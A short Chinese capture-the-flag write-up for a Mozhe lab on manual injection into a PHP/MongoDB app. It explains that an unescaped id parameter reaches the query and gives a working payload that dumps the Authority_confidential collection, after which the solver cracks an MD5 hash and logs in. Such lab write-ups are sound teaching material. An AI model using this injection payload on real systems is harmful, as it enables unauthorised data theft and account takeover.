墨者SQL手工注入漏洞测试(MongoDB数据库)题解

题目的环境是Nginx+PHP+MongoDB。并且给了如下代码
墨者SQL手工注入漏洞测试(MongoDB数据库)题解_第1张图片
在题目的考察知识点方面,说到了MD5值。
首先我们来打开链接,发现是用户登录界面(如果不是请稍等一会),然后和往常一样,点击那个通知,发现id的信息
墨者SQL手工注入漏洞测试(MongoDB数据库)题解_第2张图片
我们读一下代码,在query这个部分,把id插入后,直接返回了查询的data。
用户输入的id的值没有经过任何转义就直接插入数据库中执行,在这个地方我们可以将id的值为

1'});

这样查询语句就变成了

db.notice.find({'id':'1'})'})

能看出后面的部分被过滤了,那么如果修改为以下部分

id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2: 1

组装后的语句为

db.notice.find({'id':'1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2: 1'})

find函数的作用是查出所有数据,tojson是转换为json格式,这样就能查出所有Authority_confidential库中的数据了,效果如下
墨者SQL手工注入漏洞测试(MongoDB数据库)题解_第3张图片
解一下md5值,然后登录进去,拿到key
墨者SQL手工注入漏洞测试(MongoDB数据库)题解_第4张图片

你可能感兴趣的:(做题记录,mongodb,数据库,sql)